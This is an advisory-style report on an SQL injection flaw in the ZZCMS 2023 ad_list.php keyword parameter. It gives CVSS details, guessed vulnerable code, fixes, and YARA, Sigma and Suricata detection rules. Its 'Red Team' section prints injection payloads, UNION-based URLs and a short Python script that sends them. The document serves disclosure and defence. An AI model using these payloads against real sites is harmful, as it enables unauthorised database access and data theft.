CVE-2024-11242

Executive Summary

CVE-2024-11242 is a critical SQL injection vulnerability discovered in ZZCMS 2023, specifically within the /admin/ad_list.php?action=pass endpoint. The vulnerability resides in the keyword filtering functionality, where the keyword parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. This flaw can be exploited remotely without authentication, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. As of this report, no official patch has been released, and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Deep Dive & Mechanics

The vulnerability exists in the ad_list.php file of ZZCMS 2023. The action=pass handler processes the keyword parameter without proper sanitization or parameterized queries. The application likely constructs a SQL query by directly concatenating user input, such as:

SELECT * FROM ads WHERE keyword = '$keyword'

An attacker can inject SQL commands by providing a crafted keyword value, such as:

' OR '1'='1' -- -

This would result in the query:

SELECT * FROM ads WHERE keyword = '' OR '1'='1' -- -'

The -- - comments out the rest of the query, allowing the attacker to bypass authentication or extract data. The vulnerability is classified under CWE-89 (SQL Injection).

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS 2023):

// /admin/ad_list.php
$keyword = $_GET['keyword'];
$sql = "SELECT * FROM ads WHERE keyword = '$keyword'";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// /admin/ad_list.php
$keyword = mysqli_real_escape_string($conn, $_GET['keyword']);
$sql = "SELECT * FROM ads WHERE keyword = '$keyword'";
$result = mysqli_query($conn, $sql);

Or better, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM ads WHERE keyword = ?");
$stmt->bind_param("s", $keyword);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install ZZCMS 2023 on a local server (e.g., XAMPP, LAMP).
2. Ensure the /admin/ad_list.php?action=pass endpoint is accessible.

Exploitation Steps:

1. Use a tool like sqlmap or manual injection.
2. Example manual injection:

   http://target/admin/ad_list.php?action=pass&keyword=' OR '1'='1' -- -
   

3. To extract data, use UNION-based injection:

   http://target/admin/ad_list.php?action=pass&keyword=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -
   

4. Adjust the number of columns based on the table structure.

Automated Exploit (Python):

import requests

target = "http://target/admin/ad_list.php?action=pass"
payload = "' OR '1'='1' -- -"
params = {'keyword': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests, especially the keyword parameter.
• Look for unusual characters like single quotes ('), double dashes (--), or UNION statements.

Mitigation:

• Immediately apply input validation and parameterized queries.
• Use a Web Application Firewall (WAF) to block malicious payloads.
• Restrict access to the admin panel via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/ad_list.php?action=pass with suspicious keyword values.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified ad_list.php file (if attacker uploads a web shell).
  • Unexpected files in the /admin/ directory.
• Log IOCs:
  • Web server logs showing repeated requests to the vulnerable endpoint.
  • Database logs showing unusual queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_11242_SQLi_Keyword {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-11242 in ZZCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11242"
    strings:
        $s1 = "/admin/ad_list.php?action=pass" nocase
        $s2 = "keyword=" nocase
        $s3 = "' OR " nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "--" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against ZZCMS ad_list.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-11242
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/ad_list.php?action=pass'
        cs-uri-query|contains|all:
            - 'keyword='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in keyword (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11242 SQL Injection Attempt"; flow:to_server,established; content:"/admin/ad_list.php?action=pass"; http_uri; content:"keyword="; http_uri; pcre:"/(\x27|%27).*(OR|or|UNION|union|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable endpoint or restrict access to trusted IPs only.
   • Apply input validation and use prepared statements for all database queries.
   • Implement a WAF to block SQL injection patterns.

2. Long-Term Fix:

   • Upgrade to a patched version of ZZCMS if available.
   • Conduct a full code review for similar vulnerabilities.
   • Enforce least privilege for database accounts.

3. Monitoring:

   • Enable detailed logging for web and database servers.
   • Set up alerts for suspicious SQL queries or error messages.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.